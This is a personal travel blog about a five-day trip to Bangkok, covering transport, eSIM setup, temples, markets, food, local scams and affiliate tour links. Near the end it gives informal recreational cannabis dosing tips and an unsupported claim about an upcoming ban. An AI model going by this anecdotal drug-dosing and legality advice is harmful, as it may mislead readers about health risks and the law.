"snippet": "[Travelogue] 2024 Bangkok 🇹🇭 5-Day Free and Easy TripReturning to Thailand after the pandemic, a quick 5-day free and easy trip to Bangkok.Memories of BangkokGoing back to 2018, it was the first co...", "content": "[Travelogue] 2024 Bangkok 🇹🇭 5-Day Free and Easy TripReturning to Thailand after the pandemic, a quick 5-day free and easy trip to Bangkok.Memories of BangkokGoing back to 2018, it was the first company trip of my first job after entering the workforce, and also my first time traveling abroad, to Bangkok + Hua Hin (5 days); the following year in 2019, I went to Sabah with colleagues on another company trip; then the pandemic stole two years from us, and after it ended, I started going on crazy free and easy trips to Japan.Back then, I was a newbie, with zero social experience, blindly following my older colleagues. I didn’t even know what I could or couldn’t bring on the plane. During security check, I absentmindedly placed my passport on the basket, and almost lost it when it fell off the conveyor belt (if it had fallen into a gap, I wouldn’t have been able to retrieve it); that time, it was a mindless guided tour, mindlessly riding tour buses. My impression of Bangkok wasn’t very clear, I only remember that the rooftop bar was great, the weather was hot, things were cheap, and massages were affordable. I had no concept of the geographical locations.So, I always wanted to revisit Bangkok to relive the memories from six years ago. However, not being familiar with Southeast Asia, I was a bit hesitant to travel alone. Coincidentally, at the beginning of the year, while bantering with Pinkoi colleagues, we ended up planning this 5-day free and easy trip to Bangkok. Details and fragments of memories from the 2018 Bangkok + Hua Hin 5-day trip are included in the appendix at the end of this document.Preparation👉👉👉KKday Recommended Plans: Chao Phraya Princess River Cruise with Dinner Buffet Maeklong Railway and Damnoen Saduak Floating Market Day Tour from Bangkok Maeklong Railway Market and Amphawa Floating Market with Firefly Night Cruise Bangkok, Thailand King Power Mahanakhon Sky Walk Bangkok Ticket BKK Airport Departure Meet and Greet Fast Track Service [**Thailand SIM Card AIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM**](https://www.kkday.com/zh-tw/product/137037-ais-16-day-unlimited-data-esim-activate-before-may-3-2023-thailand?cid=19365){:target=”_blank”} Bangkok Private Transfer: Suvarnabhumi Airport (BKK) / Don Mueang Airport (DMK) to Bangkok/Pattaya/Hua Hin City Hotels Bangkok Airport Transfer: Private Car from Bangkok City to Suvarnabhumi Airport (BKK)/Don Mueang Airport (DMK)Because I started a new job in June, I didn’t have much time for leisure activities. Mark and Sean were mainly responsible for arranging and planning, so I didn’t do much homework. ⚠️⚠️⚠️I have placed the safety and precautions for traveling to Bangkok, Thailand after the travelogue. You may skip the travelogue but it is essential to understand the precautions against scams and things to be aware of, especially if you encounter marijuana.Schedule 2024/08/02 ~ 2024/08/06 Day 1 08/02: Expected to arrive at Bangkok airport at 18:45, reach the hotel around 20:00, rest at the hotel or go to the hotel bar. Day 2 08/03: Visit the famous attractions along the Chao Phraya River, including the Grand Palace, Wat Pho, Wat Arun, Wat Benchamabophit, ICONSIAM, and in the evening meet with the tech guru Chun-Hsiu Liu Lhao Lhao for dinner and visit Rock Pub Live. Day 3 08/04: Visit Chatuchak Market, King Power Mahanakhon, and Jatujak Night Market (Volcano Ribs). Day 4 08/05: Shopping at Central World and Terminal 21. Day 5 08/06: Return flight at 15:20.InternetDue to the rushed preparation this time, I hadn’t arranged for internet access the day before and didn’t have time to buy a physical SIM card. Fortunately, I tried eSIM for the first time and loved it after using it. I directly purchased the [**Thailand SIM Card AIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM**](https://www.kkday.com/zh-tw/product/137037-ais-16-day-unlimited-data-esim-activate-before-may-3-2023-thailand?cid=19365){:target=”_blank”} from KKday. After purchasing, I received the eSIM activation certificate and could start using it. ![Thailand SIM Card AIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM](/assets/b7e7c0938985/1*AnowISXXahXxykkUUsugFw.png) Thailand SIM Card | AIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM Limited-time promotion: From now until December 31, 2024, activating it during the promotion period will double the high-speed data from 15GB to 30GB. After exceeding 30GB, the speed will be reduced to 384 Kbps for continuous internet access. Unlimited calls within the AIS network, 50 Baht call credit, and an additional 10GB (10Mbps) data for using Tiktok, Wechat, and Instagram for text messaging. Has a physical number, can make calls, and receive SMS! Calculation of days: Based on a 24-hour system, counting from the activation of eSIM, where 24 hours constitute a day (Thai time).Mainly for unlimited data usage, cheaper than physical SIM cards, 8 days for NT $232.Flight Tickets 🛫 Outbound: TPE 16:00 -> BKK 18:45 Return: BKK 15:20 -> TPE 20:10Airline: Thai VietJet AirPrice: TWD $9,259 (including additional round-trip 15 kg checked baggage)Initially, I wanted to travel with my friends, but they didn’t check in any baggage (ticket price was around $6,000), and later when I checked other airlines, I felt like I was losing out; the regular airlines were around $10,000 during similar periods, not much of a difference, but much more comfortable!In fact, Thai VietJet Air allows baggage to be carried without checking in. Passengers can bring two pieces of carry-on baggage with a total weight not exceeding 7 kilograms.1. Carry-on baggage weight:Each passenger (except infants) can bring 1 piece of their own baggage and 1 small carry-on baggage, with a maximum total weight not exceeding 07 kg.2. Carry-on baggage dimensions:- 01 piece with maximum dimensions of 56cm x 36cm x 23cm for carry-on baggage- 01 small carry-on baggage (including the following items) + 01 bag for girls, magazines, cameras, bags for baby food, bags purchased at the airport with dimensions not exceeding 30cm x 20cm x 10cm, etc. + 01 coat with dimensions not exceeding 114cm x 60cm x 11cm when opened. + 01 notebook with maximum dimensions of 40cm x 30cm x 10cm Information as of 2024/08/22, subject to the latest official announcements.Basically, carrying a backpack and dragging a carry-on suitcase is enough.8/1 Flight Change NoticeReceived a flight change notice around 11 pm on 8/1, with the schedule changed to depart at 16:35 and arrive at 19:20.AccommodationJC KEVIN SATHORN BANGKOK HOTEL36 Narathiwas-Ratchanakarin Road, Yannawa, Sathorn, Bangkok, Thailand, 10120 Room Type: Skyline 2-Bedroom Suite with Balcony, with an unboxing video available. Transportation: Closest to BTS Chong Nonsi Station, about 1 kilometer or 15 minutes away on foot. Price: NT 31,315 for 4 people for 4 nights. (Expensive due to late booking, can get 40-50% off if booked earlier)CurrencyA friend exchanged 3,000 THB in advance, while I exchanged at SuperRich upon arrival.TransportationRegister and link a credit card to Grab in Taiwan for convenient use.Taiwanese SouvenirsPrepared Taiwanese souvenirs for Agoda’s top performer. Blackcurrant soda, milk tea, Vitasoy P, I-Mei cream puffs, shrimp crackers, Wei Lih braised pork noodles, pineapple cakes, Po-Dee-Doo oyster-flavored potato chips, cola gummies, green Guava candies8/02 Day 1 DepartureLeft home around 12:30 pm after work. Remember to take the Airport MRT Express train, even if you take the regular train in the morning, it won’t arrive earlier than the Express train!Arrived at Taoyuan Airport Terminal 1 around 1:30 pm.The check-in counter was completely empty, so I checked in and completed the baggage drop directly upon arrival.Once again, it’s B1R, the furthest gate that requires taking a shuttle.It was still early before 4:00 PM, so I decided to have another meal at the airport. This time, I found out that I could order individual items at the restaurant, not just fried chicken as before!I discovered that walking further ahead from the restaurant leads directly to the second terminal. So, if you have plenty of time, you can walk to the second terminal for food or come back to the first terminal to relax at the free VIP lounge.After buying food, I went to the free VIP lounge at the first terminal to rest and eat. This time, I saw people charging their devices. Last time I was here, all the power outlets were taken, but it seems they have fixed it now.Around 3:30 PM, headed to the B1R boarding gate.The flight information wasn’t updated, showing 4:00 PM, but the actual departure time was changed to 4:35 PM.Due to flight delays, the actual departure time was 5:13 PM. The seats on VietJet are similar in size to those on Tigerair, larger than Peach Aviation, but the chairs are uncomfortable, the faux leather material is not breathable, and sitting for too long can be painful. It seems you can bring your own food on VietJet. On the return flight, someone bought mango sticky rice and ate it onboard without any issues.Arrived at Bangkok BKK Suvarnabhumi Airport at 7:30 PM.I heard from colleagues that during peak hours at Bangkok Airport, you can purchase the Thailand Airport BKK Departure Meet and Greet Fast Track Service for quick clearance. However, when we arrived, there were hardly any passengers, so the clearance was quick.8:00 PM - Collected luggage and exited the airport.Possibly due to the budget airline, there were not many checked bags, so the luggage retrieval was very fast.eSIM Network SetupUpon exiting the airport, I started to figure out how to set up and activate the eSIM, only to realize… ⚠️Activating eSIM requires an internet connection⚠️It’s like buying a pair of scissors but needing another pair of scissors to open it. Activating the eSIM requires an initial internet connection for activation. Luckily, a friend traveling with me had already activated their eSIM in Taiwan, so I borrowed their internet to activate mine. (There is also Wi-Fi available at the airport, so no need to worry too much.)I found the eSIM activation page and simply long-pressed the QR code to select “Add to eSIM.” For some reason, if you save the QR code to photos or notes, you won’t have the quick add function. Another method is to send the QR code to a companion or print it out for scanning with your phone.iPhone iOS eSIM manual setup path: Settings -> Mobile Network -> Add eSIM -> Scan QRCode -> Enter information manually -> Enter information in the message -> Use for. You can choose “Travel” -> Select “Travel” for mobile data usage -> Done!After activation, it is equivalent to dual standby, but if the original number SIM card does not have a roaming plan, there will be no network before. In case of emergency, you can switch back to the original SIM card number! For AIS phone number inquiry, dial *545#, for balance inquiry, dial *121#, for data usage inquiry, dial *121*3#20:30 Airport DiningBecause it takes over an hour to get to the city and hotel, the budget airline does not provide meals. Everyone is hungry, so they decided to have dinner at the airport first.They found a Thai restaurant to eat at, the shredded pork was spicy and refreshing, and the vegetable soup helped to ease the spiciness.21:00 Moving to the Hotel 👉👉👉You can refer to KKday airport transfer service: _[- Thailand Airport Private Transfer Suvarnabhumi Airport (BKK) / Don Mueang Airport (DMK) - Bangkok/Pattaya/Hua Hin City Hotels](https://www.kkday.com/zh-tw/product/3431-bkk-or-dmk-bangkok-private-transfer?cid=19365){:target=”blank”} _[- Bangkok Airport Transfer Bangkok City Private Car to Suvarnabhumi Airport (BKK)/Don Mueang Airport (DMK)](https://www.kkday.com/zh-tw/product/138989?cid=19365){:target=”blank”} Around 21:00, they started moving to the city and hotel.Taking public transportation requires three transfers on the subway and BTS: Airport Rail Link Suvarnabhumi -> Phaya Thai BTS Sukhumvit Line Phaya Thai -> Siam BTS Silom Line Siam -> Chong Nonsi Airport Rail Link can only be purchased with tickets BTS Rabbit Card (BTS transit card) can be purchased and recharged at the ticket counter, and used for entry and exit at BTS stations Please note that the Rabbit Card can only be used on BTS, not on MRT or Airport Rail Link Arrived at Chong Nonsi (later found out that this is the station for Mahanakhon Building!)Walking to JC KEVIN SATHORN BANGKOK HOTELWhen getting off the BTS, don’t rush to the overpass, you can cross the road from the overpass. I felt it was very dark along the way (not many street lights), and it was quite far to walk (15 mins / 1 KM). It can be quite scary to walk alone at night. Along the way, there is a 7-11 and a small night market. I bought some food at 7-11 to take back to the hotel. In addition, if you take a taxi, due to the two-way road and U-turn issue, the driver needs to drive a short distance past the hotel to the next gap before making a U-turn back to the hotel, so it’s a bit troublesome.10:30 JC KEVIN SATHORN BANGKOK HOTELArrived at the hotel around 10:30.The room is very spacious, it’s a whole apartment-style room with a master bedroom, a guest bedroom, two bathrooms, a kitchen, a living room, and a balcony.2018 MemoriesTaken in 2018 / iPhone 6It’s a coincidence that during the 2018 company trip to Bangkok, we all took a taxi to the rooftop bar at this hotel in the evening XDThey also offer a Sky Bar dinner package: Bangkok Sathorn JC Kevin Hotel Zoom Sky Bar Dinner20242024 / iPhone 15 ProSince we were staying here this time, after putting down our luggage in the room, we went up to take a look.As it was already past dinner time, we could only order some appetizers and skewers.8/03 Day 2 - Wat Pho, Grand Palace, Wat Phra Kaew, Wat Arun, ICONSIAM, Lhao Lhao, Rock Pub LiveHotel BreakfastHad breakfast at the hotel in the morning before heading out. The breakfast was okay, but not many choices.9:30 DepartureDue to the large number of people, we took a Grab (THB 135) directly to Wat Pho.Photo by Florian WehdeWe passed through Chinatown on the way, forgot to take photos, it had a very cyberpunk feel! 👉👉👉 You can also consider KKday’s: Bangkok Private Day Tour: Wat Pho, Wat Arun, Grand Palace, Wat Phra Kaew ThailandWat PhoTicket: THB 300/person.The colorful stupas in Wat Pho have an indescribable grandeur. Last time I went to see the reclining Buddha at Nanzoin in Kyushu, Japan, this time I came to see the reclining Buddha in Thailand. ⚠️Be cautious of pickpockets in crowded areas⚠️You need to wear slippers to enter, and you can walk around the reclining Buddha in Wat Pho to pay your respects.SuperRich Money ExchangeAfter leaving Wat Pho, we wanted to exchange some money. Only one friend had exchanged some Thai baht in advance, while the rest of us planned to exchange it in Bangkok. So, we first went to the nearby The Old Siam Shopping Plaza to exchange money at SuperRich. Exchanged NTD $5,000 for THB $5,200Khanom bueang Thai crispy pancakesAfter exchanging money, we had some cash, so we replenished our energy at the food market on the first floor. We tried Thai crispy pancakes (ขนมเบื้อง), which were sweet with meringue inside, very similar to cotton candy, and also had banana pancakes. Finally, we bought a cup of iced coffee and continued our journey.Grand Palace, Wat Phra KaewTicket: THB 500/person. 👉👉👉KKday offers: Grand Palace and Wat Phra Kaew Guided Tour (English, Thai, Chinese, Japanese) , for those who want to learn more about history.Walking back to the Grand Palace (Wat Phra Kaew is inside the Grand Palace), you will see many government buildings along the way.There is a dress code to enter the Grand Palace, so pay special attention! No shorts, sleeveless shirts, ripped jeans, capri pants, short skirts, etc. ⚠️Be cautious of pickpockets in crowded areas⚠️Yaksha guardian at the gateYaksha and monkeysWat ArunRamakien MuralImage Source: Trueplookpanya ⚠️No Photography Allowed at the Jade Buddha⚠️ The attire varies with each season, and this time we saw the second type of clothing.Grand Palace13:20 LunchAround 13:00, after leaving the Grand Palace, we had lunch at a nearby western restaurant heading towards the pier.14:00 Getting Ready to Board the Boat to Wat Arun ⚠️Outside the pier, there will be people trying to lure you onto private boats, charging high fees (THB 500, 1000) and not being safe; ignore them and find the official pier and counter to inform them of your destination. The official fare is only THB 30 (from Tha Chang to Wat Arun), the new boats are air-conditioned, safe, and comfortable.When the boat arrives, the staff will announce “Wat Arun” (yes, in Chinese), and you can always ask if unsure.It’s almost time for afternoon thunderstorms, and you can see the water flowing turbulently.The boat is new, the air conditioning is cool, the enclosed space is safe, and there are frequent trips, making it very convenient!Upon arrival, the staff will also announce “Wat Arun.”14:30 Arrival at Wat ArunEntrance Fee: THB 200After disembarking, you will reach Wat Arun, where you can directly queue to purchase tickets for entry. ⚠️There is a dress code at Wat Arun⚠️ No sleeveless tops, shorts, exposed midriffs, or short skirts allowed. You can wear Thai traditional clothing; many people wear Thai attire for photos.You can walk to the central platform for photos (⚠️Be careful, the stairs are steep), and many people also change into Thai attire for photos here. 👉👉👉 Recommended KKday Experiences: - Thai Costume Experience with Photo Tour at Wat Arun in Bangkok, Thailand - Grand Palace and Wat Arun 3-Hour Guided Walking TourAfter visiting, return to the pier and find the ticket booth (PIER 2) to buy a boat ticket to ICONSIAM (THB 40), then board at PIER 1.Also a comfortable and safe new boat!15:00 ICONSIAMICONSIAM is large and luxurious, the food street on the first floor is very distinctive.Buy a cup of ChaTraMue Thai milk tea to recharge.Continue walking to BTS Charoen Nakhon platform, thinking of getting a foot massage for an hour.There is a newer and larger Thai Garden Massage outside the station (1), but no available seats; fortunately, continue walking to (2) another one as shown in the picture, which I find very comfortable, less crowded, spacious, quiet, and inexpensive (foot/1 hour/THB 270).After the massage, with renewed energy, continue shopping and return to ICONSIAM; walk upstairs to the restaurant, which is also elaborately decorated with a jungle theme, small bridges, flowing water, and a waterfall, overall very nice! Bought the famous Japanese TORO FRIES (long queue) to recharge. They also have Japanese % coffee here.Heading to LHAO LHAO for dinnerThis is a branch line with only three stations and fewer trains. Google Maps seems to have no information on this BTS line; it suggests walking to Krung Thon Buri.Take one stop from here to Krung Thon Buri, which is the Silom Line.There is also LAWSON in Bangkok!Change to the Sukhumvit Line at Siam and get off at Ari station, a short walk to LHAO LHAO restaurant.19:00 LHAO LHAOThe boss seems to be Chinese? It feels like a fusion of Chinese and Thai cuisine, a highly rated old restaurant, and it seems to be a favorite of Blackpink’s LISA.Because I’m going to The Rock Pub for a live music session later, I had to eat quickly, but I found every dish delicious! Images 1-3, the background of the goose brand cooling jelly, like the minced meat, called หมูสับผัดหนำเลี้ยบ, seems to be minced meat stir-fried with pickled mustard greens, very appetizing! Image 2-1, fried oyster omelette, similar to the bomb oyster omelette at the Shilin Night Market in Taiwan. Image 2-2, seasonal limited drink, longan tea. Image 2-3, the most special curry crab (Panang Curry), made with a whole fresh large crab. Recommended by Thai people, the goose brand cooling jelly, I later bought a can, it smells smoother than a mint nasal stick and is less irritating to the nasal cavity!20:00 The Rock PubAfter dinner, head to The Rock Pub for drinks and live music.Event of the day:Event LinkRundown:• 20.00-21.00: A LIKELY LAD(Kings Of Leon/Blur/Arcade Fire and more)• 21.15-22.15: COUNTING DUCKS(Radiohead/The Strokes/The Killers and more)• 22.30-00.00 : THE CHOCOLATE COSMOS(Arctic Monkeys/Joy Division/The Cure/The Smiths and more)• 00.15-01.15: LIAM FT. HENSHIN(Oasis and more)Price: THB 350 with one drink, advance ticket reservation required. Learned a cool fact about Thailand: you can’t take photos of alcohol labels because it might be seen as promoting drinking, so you have to cover the label as shown in image 3.Four performances, all rock and classic songs!I’ve heard songs from: Coldplay, Radiohead, Kings of Leon, Arcade Fire, Oasis, The Killers…We left around 23:00 as it was getting late, and the whole performance was very impressive! Whether it was the singing skills or the live performance, I thought it was great! Very talented!After returning to the hotel to give Chun-Hsiu Liu Taiwan souvenirs, we dispersed and went back to rest.8/04 Day 3 Chatuchak Market, Wangwon Mahanakhon Building, Central Rama 99:30 Breakfast: Wang Chunsheng Beef Hot Pot, Beef Offal Hot PotEarly in the morning, we took a Grab to have breakfast at Wang Chunsheng Beef Hot Pot. The overall taste was quite Chinese/Taiwanese style, which I thought was good, but the beef soup in Tainan was even better. After breakfast, we went to Chatuchak Market. Since it was quite far, we didn’t feel like walking and transferring to the BTS, so we took an Uber directly there (THB 374). 👉👉👉 [**_KKday Chatuchak Market Bangkok Private Transfer Service_**](https://www.kkday.com/zh-tw/product/182142?cid=19365){:target=”_blank”} 10:45 Arrived at Chatuchak MarketChatuchak Market is large with many vendors, but it’s clean and easy to shop around. However, there is a high repetition of items, and it seems like many are selling Made In China products for tourists.In the end, I only bought a Thai brand, Phutawan indoor diffuser, as a souvenir.When we got tired from shopping, we went into a massage shop for foot and shoulder/neck massages (1 hour/THB 250).RestroomIf you need to use the restroom at Chatuchak Market, there are paid restrooms on the outskirts (THB 5 per use). I went in and found it very clean, with one person per stall, and they were constantly being cleaned. If you prefer not to pay for the restroom, you can also go to the Mixt Chatuchak mall on the outskirts, which has free and equally clean restrooms.Mixt ChatuchakSeafood RiceLunch was casually settled at the restaurant in Mixt Chatuchak mall, the taste was good.After eating, we continued shopping and bought a cup of durian juice to drink, the taste was rich and real, and the price was affordable (THB 89). Later found that things at Chatuchak were actually cheaper, for example, mint nasal sticks sold here for 6 pieces at $99, while Big C sells 6 pieces for $140… and also durian juice, sold for over $140 at the city night market.15:00 Take BTS to King Power Mahanakhon BuildingChatuchak is closer to MRT, but the King Power Mahanakhon Building we want to go to is at BTS Chong Nonsi station; it takes about 1 KM (15 mins) to walk from Chatuchak to the nearest BTS Saphan Khwai station.King Power Mahanakhon Building (Bangkok Grand Kyoto Building/King Power Mahanakhon)Ticket: THB 1,080/person 👉👉👉 Recommend buying tickets from KKday first, prices are cheaper: Bangkok King Power Mahanakhon SkyWalk Observation Deck Ticket (free cancellation 2 days before)Upon closer inspection, it is not as tall as imagined, but the architectural style is very unique, with a cyberpunk vibe.Before entering, there is a security check, and after purchasing the ticket, free luggage storage is provided; backpacks are not allowed to be carried up (small waist bags are allowed). Before taking the elevator, you can choose whether to take photos (the ticket includes a series of free digital photos, additional charge for physical photos).Free synthesized digital photos, there will be staff guiding the download after visiting the elevatorThe direct elevator has a 360-degree panoramic animation like Taipei 101 and Skytree; the height is about the same as Tokyo Tower.Upon coming up in the elevator, you will first arrive at the indoor observation deck on the 74th floor, where there is a cafe and public seating for a short rest; to continue, take the elevator or stairs up to the 78th floor, which is the rooftop observation deck.As soon as you arrive on the 78th floor, there is a small bar where you can order a drink and enjoy the view.After coming out of the 78th floor, you can continue to climb up to the staircase, the rooftop resting area.From the rooftop, you can overlook the entire Bangkok, and you can imagine that the night view should be beautiful too!The staircase and rooftop resting area face the famous transparent glass corridor, where you can directly see the ground vertically. You can enter by taking shoe covers from the nearby box, but bringing a mobile phone is prohibited. You can ask your companions or staff for assistance in taking photos.The entire glass corridor is not very large, about the size of a rooftop infinity pool in a hotel. It doesn’t feel very high when looking from the side, but you might still feel a bit nervous when actually walking up, feeling a bit weak in the knees. XDJJ Green Night Market (formerly known as Ratchada Train Night Market)MRT accepts credit card payment.To get to Central Rama 9, you need to transfer to the MRT underground at Phra Ram 9 Station. Rabbit cards cannot be used; you need to buy tickets or now you can use a VISA card to swipe in and out. Tested with Taishin GoGo card, not tested with Cathay Cube.For dinner, come here to find food. I have to say that Bangkok’s night markets and bazaars outshine Taiwan by far. The overall environment is clean, with seating areas, not chaotic, well-planned, and very comfortable to stroll around.After a stroll, I first had dessert on the left (similar to sponge cake?) and grilled seafood on the right, both with a chewy texture and quite good.Next up is the highlight, volcano ribs, with a unique taste. The sauce has a lemongrass spicy and sour flavor. Just grab it with your hands and bite directly, very appetizing!After eating, I bought coconut ice cream + mango + peanut dessert at another stall, also delicious!After eating, return to Central Rama 9 for a stroll. Here, you can also find the famous NaRaYa Bangkok bags.On the way back to the hotel, I happened to encounter the post-rain Bangkok with colorful digital advertising screens, the color contrast was maxed out, giving a very cyberpunk vibe.7-11 Hot Pressed Toast for SupperOn the way back to the hotel, I tried Thailand’s convenience store hot pressed toast and Thailand’s banana milk. The filling was melted cheese hot dog, and the crust was crispy! It was delicious and cheap!8/05 Day 4 Central World, Big C, Terminal 21 Didn’t sleep well all night + hungover all day, feeling lost.Central WorldWoke up in the morning and went shopping at Central World.As soon as I entered the first floor, there was SHAKE SHACK burger. I ordered the SHAKE SHACK signature burger and the coconut milkshake unique to Bangkok. The burger was delicious and not greasy, but I found the milkshake too sweet.The place was huge, just like ICONSIAM. If you want to explore thoroughly, it’s endless… I bought a shirt on a whim.Big CAfter Central World, I went to Big C across the street to buy snacks and souvenirs. (There were many options, but I didn’t find them cheaper…)Bottom left Phutawan indoor fragrance diffuser was bought at Chatuchak yesterday, but I think department stores in the city also have it.Also, it seems that Big C no longer provides plastic bags, so you have to buy an eco-friendly bag in the store. The durian chips come in a big pack, but when you open it, there are only two small packs… but they are quite delicious.LunchOutside Central World, there was a food market event at the plaza, not just simple stalls, but with a theme. This time it was Titanic-themed, and you could enter for free by following their official Youtube channel; the interior was also beautifully decorated.Afternoon: Returned to the hotel for a nap because of lack of sleep and hangover… just too tiredDinner at Terminal 21 Department StoreTerminal 21 is a place you can never finish exploring. Each floor has a different theme, for example, the Japan section mainly sells Japanese products and restaurants.The main purpose was to meet up with Chun-Hsiu Liu at the food street upstairs for a meal. ( Highly recommended food spot that is cheap and delicious )At the food street, you find your own seat, and many locals also come to eat. ⚠️ Regarding payment here, the shops do not accept direct payment. You need to go to the counter first to exchange cash for a food card, then pay with the QR code on the food card; after eating, return to the counter for refund without any deposit or handling fee.There are many choices, just queue up, state your order number, pay with the food card QR code, and you can also take away (I remember there is an additional THB 10 for packaging).Ordered seafood stir-fried noodles (THB 50) + pork cutlet with fries (THB 59) = THB 109After eating, also took away a box of mango sticky rice as a late-night snack back at the hotel.It’s really delicious and cheap!!! A meal at a restaurant outside would cost at least 200-300, but here it’s mostly THB 50-80 per meal.After eating, went to Benjakitti Park at the back to walk around and look for the legendary Bangkok giant lizard; maybe because it was night, didn’t see a single one. ⚠️Encountered a scam by foreigners on the way back to the hotel:⚠️ While waiting for the BTS on the platform… Someone who looked like they were from the Middle East approached - Asked if you were Thai, if you spoke English, and where you were from - I said Taiwan - He immediately responded, Oh… Taiwan, I love Taiwan But from his pronunciation, I knew he had no idea about Taiwan… - Then he said he needed to exchange money but SuperRich was closed, and asked me how many Thai baht he could get for a hundred US dollars I felt something was off, so I just ignored him and walked away… Their methods are all similar, either asking about your country's currency, showing curiosity, asking to see it, then while you are taking out your wallet, they either pickpocket or snatch your money and run.Back at the hotel, a friend bought some mangosteen to taste. I found the fresh ones delicious, with a subtle sweetness and the flavor of mangosteen, very palatable. Later, we tried dried mangosteen, and the taste wasn’t as good, just dry and sour. Regarding durians, durians in Bangkok are not cheaper… They cost around THB 200 - 300 per room.8/06 Day 5 Return JourneyBangkok Giant LizardIn the morning, still curious, I specifically went to Lumphini Park to find the legendary Bangkok giant lizard. Due to time constraints, I only found a medium-sized lizard basking in the sun in the morning. Looking for the giant lizard was just a personal, boring activity for me. Locals reportedly dislike this type of lizard (water monitor lizard), as they eat dirty things. Do not touch them casually.12:00 Pick up luggage and head to the airportThe flight at 15:20, we had to leave at noon. It takes about an hour from the city to the airport. 👉👉👉 You can refer to KKday airport transfer service: _[- Thailand Airport Private Transfer Suvarnabhumi Airport (BKK) / Don Mueang Airport (DMK) — Bangkok/Pattaya/Hua Hin City Hotels](https://www.kkday.com/zh-tw/product/3431-bkk-or-dmk-bangkok-private-transfer?cid=19365){:target=”blank”} _[- Bangkok Airport Transfer Private Car from Bangkok City to Suvarnabhumi Airport (BKK)/Don Mueang Airport (DMK)](https://www.kkday.com/zh-tw/product/138989?cid=19365){:target=”blank”} Grab fare from the hotel: THB 577, need to take the expressway; the driver will pay the toll first, and the Grab card fare will be adjusted later with the toll fee. (I remember it was around THB 50)Checked baggage limit is 15 kg, managed to stay within the limit.Bangkok’s night gatekeeper.Departed around 13:20, Bangkok airport security is quite strict, everything needs to go through security check, and almost all carry-on bags need to be manually inspected.Upon exiting and passing through security, there was about an hour left to grab something to eat; found a Thai restaurant and had the last meal in Thailand (seafood fried rice, mango juice, mango sticky rice). After exiting, many shops sell take-out boxes for mango sticky rice, so you can buy some to eat on the plane if you’re still hungry! (⚠️But remember not to bring it back to Taiwan⚠️)This bottle of water deserves a close-up shot because the budget airline didn’t provide anything, so I thought of buying water at the airport to drink on the plane. However, the mineral water after exiting cost THB 70 - 100 per bottle, and this one was THB 100.BKK is huge… full of Trip.com advertisements. I arrived on time for the return journey and took the shuttle to catch the flight.Back to TaiwanArrived at TPE Taoyuan International Airport, picked up luggage around 20:45, and went directly to take bus 1841 or 1819 of Kuo-Kuang Motor Transport back to Taipei, very convenient without the need to transfer.⚠️Safety and Precautions for Traveling in Bangkok, Thailand⚠️Safety is the most important thing when traveling. Here are some safety and precautionary tips.Beware of ScamsThe following are summarized from a video by Bangkok Cat, and I actually encountered the money exchange/scam during this trip. Incorrect bill calculationAlways double-check the total amount when ordering. Initiating conversation to see your country’s currency or asking to exchange moneyThey distract you while you take out your wallet and then steal or snatch it. Falsely claiming that attractions are closed outside the Grand Palace or other places, and enthusiastically recommending you to take a tuk-tuk to other (Black Temple/Black Shop/ Take a private boat, encountered this at the pier this time ) places to scam you into spending money. Tuk-tuk drivers, shouting prices sky-high, suddenly increasing the fare halfway throughIf you want to experience a tuk-tuk ride without being scammed, you can try the new MUVMI app for tuk-tuk bookingEven if the tuk-tuk looks good, beware of scam #3, where they recommend you to visit attractions or take a boat. Fake waitstaff, while waiting in line, fake waitstaff will enthusiastically invite you insideThey will introduce the menu in your language, take your order, ask for payment upfront, and then run away with the money. Motorcycle or scooter rental scamsDo not leave your passport as collateral. If they claim damages and demand compensation, it will be troublesome if they have your passport. Look for reputable rental companies and take videos of the vehicle condition before renting. Scams on local social appsYou might meet ladyboys, fortune tellers, or scammers. Ping pong show scams, enthusiastic promoters on the street will ask if you want to watch a ping pong show, just buy a 100 THB drink, then they will take you to a dark alley or upstairs to a shady place.It’s not worth it, and when you want to leave, they will demand 3,000 THB, claiming there was no 100 THB deal. Be cautious of pickpockets in crowded places, even in areas where you need to buy tickets to enter (e.g., Grand Palace, Wat Pho).🌿🚬It will be banned next year, but here are some experiences to share. ⚠️⚠️⚠️Consuming edibles (like gummies) can be potent, and the scary part is that when you eat them, you might not feel anything at first, but it can hit you suddenly after a few hours⚠️⚠️⚠️ It’s best to start with a gradual approach, eat 1/3… wait a few hours… if nothing happens, eat 2/3… wait a few hours… if you feel something, try eating 1 piece… When smoking, also start gradually based on your tolerance. ⚠️⚠️⚠️It’s strongly recommended to try it in your hotel room, so you can rest if needed, which is safer⚠️⚠️⚠️ Drinking alcohol doesn’t mean you’re more tolerant. ⚠️⚠️⚠️Your heart rate may increase uncomfortably⚠️⚠️⚠️ Have someone awake to take care of you in case of any issues, for safety. Only smoke in specific places.Others Thailand is not a tipping culture, so generally, you don’t need to tip; I only tip THB 20 for massages as a gesture. Alcohol is only sold from 11:00 to 14:00 and 17:00 to 24:00; it’s prohibited to sell alcohol all day during Buddhist holidays. Not all hotel balconies allow smoking, so be sure to ask. Foreigners can call emergency services in a foreign language at 1155. SuperRich has operating hours, so if you arrive too early or too late, you won’t be able to exchange money.Appendix - 2018 Digital Technology Bangkok Huaxin 5-Day Employee Trip Recalling some itineraries for reference, details are not available.Digital Technology 2018 Employee Trip _⚠️The following are all photos and records from 2018, for reference only⚠️ _⚠️The following are all photos and records from 2018, for reference only⚠️ _⚠️The following are all photos and records from 2018, for reference only⚠️Day1Moai Cafe, Easter Island Moai Statue Cafe (Closed)A colleague (2024) also mentioned that Bangkok has many trendy cafes, which are quite extravagant. If interested, you can check them out. This cafe had low ratings and has closed down.Dinner - Chom View Seafood, Seaview Seafood Restaurant2 Nights Stay - SHERATON HUA HIN RESORT & SPA Huaxin SheratonSource: SHERATON HUA HIN RESORT & SPAOnly took a few photos of the hotel, one of which was a surprising photo of a millipede found in the bed upon waking up in the morning.Day 2Santorini Park (Closed)Seems to be a small amusement park and shopping mall with Greek-style scenery.Hua Hin Artist VillageA quite famous attraction, still in operation in 2024.There are many paintings and artworks.Enjoy the facilities and beach at the Sheraton Hotel.Hotel is in villa style, each one is standalone, the swimming pool can surround every room in the hotel, there is a bar next to the pool; the outside beach is undeveloped, a desolate area.After dinner, go to the nearby night market.Day 3Maeklong Railway MarketIt was too early, everyone gave up and didn’t go.Damnoen Saduak Floating Market 👉👉👉 These two attractions are not easily accessible by public transportation, you can refer to the KKday itinerary: **_- [Bangkok Classic Day Tour Maeklong Railway and Damnoen 